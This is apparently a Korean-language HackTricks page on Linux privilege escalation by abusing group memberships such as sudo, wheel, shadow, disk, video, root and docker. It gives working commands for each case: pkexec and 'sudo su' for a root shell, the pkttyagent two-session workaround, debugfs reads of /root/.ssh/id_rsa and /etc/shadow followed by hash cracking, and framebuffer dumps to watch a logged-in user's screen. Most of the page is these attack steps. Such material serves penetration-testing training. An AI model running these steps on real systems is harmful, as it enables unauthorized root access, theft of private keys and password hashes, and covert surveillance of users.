6.0 KiB
{{#include ../../banners/hacktricks-training.md}}
Sudo/Admin Groups
PE - Method 1
때때로, 기본적으로 (또는 일부 소프트웨어가 필요하기 때문에) /etc/sudoers 파일 안에서 이러한 줄을 찾을 수 있습니다:
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
이것은 sudo 또는 admin 그룹에 속한 모든 사용자가 sudo로 무엇이든 실행할 수 있음을 의미합니다.
이 경우, root가 되려면 다음을 실행하면 됩니다:
sudo su
PE - Method 2
모든 suid 바이너리를 찾아보고 Pkexec 바이너리가 있는지 확인하세요:
find / -perm -4000 2>/dev/null
이진 파일 pkexec가 SUID 이진 파일이고 sudo 또는 admin에 속한다면, pkexec를 사용하여 sudo로 이진 파일을 실행할 수 있습니다. 다음 내용을 확인하세요:
cat /etc/polkit-1/localauthority.conf.d/*
여기에서 어떤 그룹이 pkexec를 실행할 수 있는지 확인할 수 있으며, 일부 리눅스에서는 기본적으로 sudo 또는 admin 그룹이 나타날 수 있습니다.
루트가 되려면 다음을 실행할 수 있습니다:
pkexec "/bin/sh" #You will be prompted for your user password
pkexec를 실행하려고 시도했는데 오류가 발생하면:
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
권한이 없어서가 아니라 GUI 없이 연결되어 있지 않기 때문입니다. 이 문제에 대한 해결 방법은 여기에서 확인할 수 있습니다: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903. 2개의 서로 다른 ssh 세션이 필요합니다:
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
Wheel Group
때때로, 기본적으로 /etc/sudoers 파일 안에서 이 줄을 찾을 수 있습니다:
%wheel ALL=(ALL:ALL) ALL
이것은 wheel 그룹에 속한 모든 사용자가 sudo로 모든 것을 실행할 수 있음을 의미합니다.
이 경우, root가 되려면 다음을 실행하면 됩니다:
sudo su
Shadow Group
shadow 그룹의 사용자들은 /etc/shadow 파일을 읽을 수 있습니다:
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
그래서 파일을 읽고 해시를 크랙해보세요.
디스크 그룹
이 권한은 기계 내부의 모든 데이터에 접근할 수 있으므로 거의 루트 접근과 동등합니다.
파일: /dev/sd[a-z][1-9]
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
debugfs를 사용하면 파일을 쓸 수 있다는 점에 유의하세요. 예를 들어 /tmp/asd1.txt를 /tmp/asd2.txt로 복사하려면 다음과 같이 할 수 있습니다:
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
그러나 root가 소유한 파일 (예: /etc/shadow 또는 /etc/passwd)을 작성하려고 하면 "Permission denied" 오류가 발생합니다.
Video Group
w 명령을 사용하면 시스템에 로그인한 사람을 찾을 수 있으며 다음과 같은 출력을 보여줍니다:
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
tty1는 사용자 yossi가 물리적으로 머신의 터미널에 로그인했음을 의미합니다.
video group은 화면 출력을 볼 수 있는 권한이 있습니다. 기본적으로 화면을 관찰할 수 있습니다. 그렇게 하려면 현재 화면의 이미지를 원시 데이터로 가져오고 화면이 사용하는 해상도를 알아야 합니다. 화면 데이터는 /dev/fb0에 저장할 수 있으며, 이 화면의 해상도는 /sys/class/graphics/fb0/virtual_size에서 찾을 수 있습니다.
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
원시 이미지를 열기 위해 GIMP를 사용하고 screen.raw 파일을 선택한 후 파일 형식으로 Raw image data를 선택할 수 있습니다:
그런 다음 너비와 높이를 화면에서 사용된 값으로 수정하고 다양한 이미지 유형을 확인한 후 (화면을 더 잘 보여주는 유형을 선택하십시오):
루트 그룹
기본적으로 루트 그룹의 구성원은 서비스 구성 파일이나 일부 라이브러리 파일 또는 특히 흥미로운 것들을 수정할 수 있는 접근 권한이 있을 수 있습니다. 이는 권한 상승에 사용될 수 있습니다...
루트 구성원이 수정할 수 있는 파일 확인:
find / -group root -perm -g=w 2>/dev/null
Docker Group
호스트 머신의 루트 파일 시스템을 인스턴스의 볼륨에 마운트할 수 있으므로 인스턴스가 시작될 때 즉시 해당 볼륨에 chroot를 로드합니다. 이는 사실상 머신에서 루트를 제공하는 것입니다.
{{#ref}} https://github.com/KrustyHack/docker-privilege-escalation {{#endref}}
{{#ref}} https://fosterelli.co/privilege-escalation-via-docker.html {{#endref}}
lxc/lxd Group
{{#include ../../banners/hacktricks-training.md}}